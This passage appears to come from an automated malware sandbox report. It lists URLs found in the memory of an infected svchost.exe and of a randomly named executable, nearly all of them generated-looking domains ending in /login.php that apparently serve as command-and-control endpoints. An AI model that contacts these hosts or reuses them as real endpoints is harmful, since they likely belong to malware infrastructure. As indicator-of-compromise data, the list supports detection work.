00000002.00000003.2511409546.0000000003323000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2314873415.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2322755404.00000000092B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gadyzyh.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667617957.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gahyces.com/login.php
Source: svchost.exe, 00000002.00000003.2513678339.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2287542216.0000000003330000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2542956129.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513019694.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499635923.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2496966130.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2289345179.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513835440.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499628727.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gahydoh.com/login.php
Source: svchost.exe, 00000002.00000003.2347539212.0000000003309000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gahydyb.com/
Source: svchost.exe, 00000002.00000003.2347539212.0000000003309000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gahydyb.com/http://gacynow.com/http://gacynow.com/http://qetylip.com/
Source: svchost.exe, 00000002.00000003.2347539212.0000000003309000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gahydyb.com/http://pumywug.com/http://pumywug.com/0
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649350353.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gahydyb.com/login.php
Source: svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2902106768.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2896263867.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2884058737.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gahyfyh.com/login.php
Source: svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388023341.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178331950.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178415911.00000000033F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2185076169.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2398171627.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387081098.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2649196751.00000000091F7000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E90000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2572564754.0000000000FB2000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D8F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2744689381.0000000009396000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2558068199.0000000008D9F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.00000000086C1000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2608350004.00000000007DF000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2614917822.00000000015A9000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2863851582.0000000009EDD000.00000004.00000010.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2640207678.00000000013B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gahyhob.com/login.php
Source: svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gahyhob.com/login.phpcom/login.php
Source: svchost.exe, 00000002.00000003.2637865779.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337365737.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337520424.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337073481.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2601374159.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2571444797.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635608953.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2612862437.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336470104.0000000003356000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gahyhys.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329364841.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329971226.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2327922219.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330522610.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329969836.0000000003360000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gahykih.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gahypoz.com/login.php
Source: svchost.exe, 00000002.00000003.2875776226.00000000040F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2855333328.00000000040F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2854823714.00000000040EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gahyqas.com/
Source: svchost.exe, 00000002.00000003.2875776226.00000000040F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2855333328.00000000040F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2854823714.00000000040EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gahyqas.com/H
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329364841.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2327922219.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330522610.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547959760.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gahyraw.com/login.php
Source: svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2905696441.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3426788667.0000000009235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gahyvab.com/login.php
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gahyvuh.com/H
Source: svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649350353.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gahyvuh.com/login.php
Source: svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360502034.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760150538.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358968663.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358089375.00000000092C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2363422290.00000000092C2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359102012.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2363692365.00000000092C2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2362592176.00000000092C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gahyziw.com/login.php
Source: svchost.exe, 00000002.00000003.2509683984.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513678339.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2542956129.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513019694.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2506997946.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499635923.0000000000855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://galydoz.com/login.php
Source: svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://galydyw.com/login.php
Source: svchost.exe, 00000002.00000003.2347539212.0000000003309000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://galyfis.com/
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649350353.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://galyfis.com/login.php
Source: svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2341534976.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2341852646.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://galyheh.com/login.php
Source: svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388806823.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2185076169.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387081098.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E90000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2572564754.0000000000FB2000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D8F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2558068199.0000000008D9F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000F68000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2608350004.00000000007DF000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2614917822.00000000014D8000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2614917822.000000000154E000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2745540362.00000000093CD000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2640207678.0000000001363000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2756051050.000000000914B000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2856769526.0000000008FC3000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2676238100.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000018.00000002.2676884944.00000000009FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://galykes.com/login.php
Source: svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346961253.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://galynab.com/login.php
Source: svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2379463124.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380581815.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2908725007.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2905696441.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://galynus.com/login.php
Source: svchost.exe, 00000002.00000003.2729337658.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360502034.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2361263640.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358968663.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358089375.00000000092C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2363422290.00000000092C2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359102012.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2363692365.00000000092C2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2362592176.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2735954545.0000000003368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://galypob.com/login.php
Source: svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2414263063.00000000033CA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2197741050.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388405607.00000000033C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178331950.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2185076169.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E6B000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2604863482.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E90000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D47000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D8F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2558068199.0000000008D9F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000F68000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.00000000086C1000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.0000000008682000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2745540362.00000000093A5000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2745540362.0000000009360000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2745540362.00000000093CD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://galyqaz.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337365737.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337520424.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337073481.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2575537635.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336470104.0000000003356000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://galyquw.com/login.php
Source: svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388023341.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3408110880.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2398171627.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387081098.00000000092B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://galyvaw.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667617957.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://galyvuz.com/login.php
Source: svchost.exe, 00000002.00000003.2637865779.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329364841.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330574542.0000000003356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2327922219.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330522610.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635608953.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547959760.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://galyzeb.com/login.php
Source: svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2729337658.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360502034.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358968663.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358089375.00000000092C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2363422290.00000000092C2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359102012.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2363692365.00000000092C2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2362592176.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2735954545.0000000003368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ganyfuz.com/login.php
Source: svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ganyfuz.com/login.phpE
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ganyhab.com/login.php
Source: svchost.exe, 00000002.00000002.3418118048.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2381728153.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3408110880.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387081098.00000000092B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ganyhus.com/login.php
Source: svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667617957.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649350353.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ganykuw.com/login.php
